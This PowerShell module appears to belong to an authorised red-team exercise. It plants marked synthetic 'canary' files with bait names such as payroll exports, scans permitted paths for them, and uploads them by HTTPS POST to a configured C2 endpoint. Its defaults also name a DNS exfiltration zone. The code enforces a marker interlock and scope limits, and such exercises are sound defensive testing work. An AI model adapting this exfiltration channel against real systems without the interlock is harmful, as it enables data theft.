#Requires -Version 5.1 <# Canary.ps1 - Vector 1: generacion de canarios, verificacion del marcador e implementacion del canal HTTPS. Requiere que lib\Common.ps1 se haya cargado antes (dot-source). INTERLOCK CENTRAL DE TODO EL VECTOR 1: Un fichero solo puede salir si su contenido contiene el marcador de canario. No existe ninguna opcion, parametro ni interruptor para saltarse esta comprobacion. Si no lleva marcador, se registra como 'no_marker' y no se envia. #> function Get-RTV1Defaults { return [ordered]@{ staging_root = 'C:\RT\v1\canaries' plant_targets = @() canary = [ordered]@{ marker = 'CANARY-UNSET' stealth = $false sizes_kb = @(4, 250, 2048) per_host = 8 archive_one = $true names = @( 'Nomina_2026_Q1__{0}.csv', 'Clientes_export__{0}.txt', 'Backup_contable__{0}.log' ) } c2 = [ordered]@{ https_url = '' token = '' token_env = 'RT_TOKEN' timeout_sec = 30 tls12 = $true dns_zone = 'exfil.lab.local' dns_server = '127.0.0.1' dns_port = 53 dns_payload_bytes = 32 dns_max_labels = 3 } limits = [ordered]@{ max_rate_per_min = 1 jitter_percent = 30 max_hosts = 3 max_hops = 1 max_duration_min = 180 max_dns_queries = 200 max_dns_burst = 100 } } } <# Config del Vector 1 = defaults comunes (validados) + defaults V1 + lo que diga el fichero de alcance. Reutiliza la validacion de Common.ps1 (host, allowlist...). #> function Get-RTCanaryConfig { param([Parameter(Mandatory)][string]$Path) $base = Get-RTConfig -Path $Path $cfg = Merge-RTConfig -Defaults (Get-RTV1Defaults) -Override $base foreach ($k in @('staging_root')) { if ([string]::IsNullOrWhiteSpace([string]$cfg[$k])) { throw "Alcance Vector 1: falta '$k'." } } if ([string]::IsNullOrWhiteSpace([string]$cfg.canary.marker) -or $cfg.canary.marker -eq 'CANARY-UNSET') { throw "Alcance Vector 1: 'canary.marker' es obligatorio y no puede ser el valor por defecto." } if ([string]::IsNullOrWhiteSpace([string]$cfg.c2.https_url)) { throw "Alcance Vector 1: falta 'c2.https_url'." } if ([int]$cfg.canary.per_host -lt 1) { throw "Alcance Vector 1: canary.per_host debe ser >= 1." } return $cfg } function Get-RTTokenFromConfig { param([Parameter(Mandatory)]$Config) $envName = [string]$Config.c2.token_env if (-not [string]::IsNullOrWhiteSpace($envName)) { $v = [Environment]::GetEnvironmentVariable($envName) if (-not [string]::IsNullOrWhiteSpace($v)) { return $v } } if (-not [string]::IsNullOrWhiteSpace([string]$Config.c2.token)) { return [string]$Config.c2.token } throw "No hay token del C2: define la variable de entorno '$envName' o 'c2.token' en el alcance." } function New-RTCanaryId { param( [Parameter(Mandatory)][string]$ExerciseId, [Parameter(Mandatory)][string]$HostName, [Parameter(Mandatory)][int]$Seq ) return ('CN-{0}-{1}-{2:D2}' -f $ExerciseId, $HostName, $Seq) } <# Contenido sintetico y marcado. La primera linea lleva el marcador, de modo que: - el interlock del cliente lo detecta leyendo solo los primeros 512 bytes, - DLP/FIM pueden alertar por contenido, no por nombre de fichero, - Blue Team puede demostrar que el dato era sintetico. #> function New-RTCanaryContent { param( [Parameter(Mandatory)][string]$Marker, [Parameter(Mandatory)][string]$CanaryId, [Parameter(Mandatory)][int]$SizeBytes, [Parameter(Mandatory)][string]$HostName, [Parameter(Mandatory)][string]$LocationLabel ) $header = '{0}|ID={1}|HOST={2}|LOC={3}|TS={4}|UUID={5}' -f ` $Marker, $CanaryId, $HostName, $LocationLabel, (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ'), ([guid]::NewGuid().ToString()) $sb = New-Object System.Text.StringBuilder [void]$sb.AppendLine($header) [void]$sb.AppendLine('Contenido sintetico de ejercicio autorizado. No contiene datos reales.') [void]$sb.AppendLine('SENSIBILIDAD=ALTA;PROPOSITO=CANARIO-DE-EXFILTRACION') $target = [Math]::Max($SizeBytes, $header.Length + 256) while ($sb.Length -lt $target) { [void]$sb.AppendLine(((1..3 | ForEach-Object { [guid]::NewGuid().ToString('N') }) -join '')) } return $sb.ToString() } function Get-RTCanaryHead { param([Parameter(Mandatory)][string]$Path, [int]$Bytes = 512) try { $fs = [System.IO.File]::OpenRead($Path) try { $n = [int][Math]::Min($Bytes, $fs.Length) $buf = New-Object byte[] $n $read = $fs.Read($buf, 0, $n) } finally { $fs.Dispose() } return [System.Text.Encoding]::GetEncoding(28591).GetString($buf, 0, $read) } catch { return '' } } <# Unico criterio de elegibilidad para exfiltrar. No hay bypass. #> function Test-RTCanaryFile { param( [Parameter(Mandatory)][string]$Path, [Parameter(Mandatory)][string]$Marker ) if (-not (Test-Path -LiteralPath $Path -PathType Leaf)) { return $false } $head = Get-RTCanaryHead -Path $Path return ($head -and $head.Contains($Marker)) } <# Base32 RFC 4648. Se usa para codificar el payload DUMMY del canal DNS. #> function ConvertTo-RTBase32 { param([Parameter(Mandatory)][byte[]]$Bytes) $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567' $sb = New-Object System.Text.StringBuilder $buffer = 0 $bits = 0 foreach ($b in $Bytes) { $buffer = ((($buffer -band ((1 -shl $bits) - 1))) -shl 8) -bor $b $bits += 8 while ($bits -ge 5) { $bits -= 5 $idx = ($buffer -shr $bits) -band 0x1F [void]$sb.Append($alphabet[$idx]) } } if ($bits -gt 0) { $idx = ($buffer -shl (5 - $bits)) -band 0x1F [void]$sb.Append($alphabet[$idx]) } return $sb.ToString() } <# Payload DUMMY para el canal DNS. NUNCA transporta contenido de canario: es una cadena fija repetida, para poder demostrar capacidad del canal y medir las features de deteccion sin mover ni un byte real. #> function New-RTDummyPayload { param([int]$Bytes = 32) $seed = 'RT-DNS-DUMMY-PAYLOAD-' $sb = New-Object System.Text.StringBuilder while ($sb.Length -lt $Bytes) { [void]$sb.Append($seed) } $text = $sb.ToString().Substring(0, $Bytes) return [System.Text.Encoding]::ASCII.GetBytes($text) } <# Enumeracion de candidatos: solo devuelve ficheros CON marcador. Devuelve un objeto con Enviables y Omitidos para que quede constancia de los ficheros que se descartaron por no ser canarios. #> function Find-RTCanaryFiles { param([Parameter(Mandatory)]$Config) $marker = [string]$Config.canary.marker $enviable = @() $omitido = @() foreach ($rootSpec in @($Config.allowed_paths)) { $root = Expand-RTPath -Path $rootSpec if (-not (Test-Path -LiteralPath $root)) { Write-RTLog -Level WARN -Message "Ruta autorizada no existe, se omite: $root" continue } $items = if ([bool]$Config.recurse) { Get-ChildItem -LiteralPath $root -File -Recurse -Force -ErrorAction SilentlyContinue } else { Get-ChildItem -LiteralPath $root -File -Force -ErrorAction SilentlyContinue } foreach ($it in @($items)) { if (-not (Test-RTPathAllowed -Path $it.FullName -Config $Config)) { continue } if (@($Config.exclude_names) -contains $it.Name) { continue } if (Test-RTCanaryFile -Path $it.FullName -Marker $marker) { $enviable += $it } else { $omitido += $it.FullName } } } return [pscustomobject]@{ Enviables = $enviable; Omitidos = $omitido } } <# Canal HTTPS. Un fichero por peticion, cuerpo binario, token en cabecera. #> function Send-RTCanaryHttps { param( [Parameter(Mandatory)][string]$Url, [Parameter(Mandatory)][string]$Token, [Parameter(Mandatory)][string]$Path, [Parameter(Mandatory)][string]$RunId, [Parameter(Mandatory)][string]$CanaryId, [int]$TimeoutSec = 30, [bool]$Tls12 = $true ) if ($Tls12) { [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 } [System.Net.ServicePointManager]::Expect100Continue = $false $item = Get-Item -LiteralPath $Path $sha = (Get-FileHash -LiteralPath $Path -Algorithm SHA256).Hash $bytes = $item.Length $headers = @{ 'Authorization' = "Bearer $Token" 'X-RT-Run-Id' = $RunId 'X-RT-Canary-Id' = $CanaryId 'X-RT-Host' = $env:COMPUTERNAME 'X-RT-User' = $env:USERNAME 'X-RT-Channel' = 'https' } $sw = [System.Diagnostics.Stopwatch]::StartNew() $r = [ordered]@{ ok = $false; http_status = $null; latency_ms = $null server_sha = $null; error = $null; bytes = $bytes; sha256 = $sha } try { $resp = Invoke-WebRequest -Uri $Url -Method Post -Headers $headers -InFile $Path ` -ContentType 'application/octet-stream' -TimeoutSec $TimeoutSec ` -UseBasicParsing -ErrorAction Stop $r.http_status = [int]$resp.StatusCode try { $j = $resp.Content | ConvertFrom-Json $r.ok = [bool]$j.ok $r.server_sha = [string]$j.sha256 } catch { $r.ok = ($r.http_status -ge 200 -and $r.http_status -lt 300) } } catch { $r.error = $_.Exception.Message if ($_.Exception.Response) { try { $r.http_status = [int]$_.Exception.Response.StatusCode } catch { } } } finally { $sw.Stop() $r.latency_ms = $sw.ElapsedMilliseconds } return [pscustomobject]$r }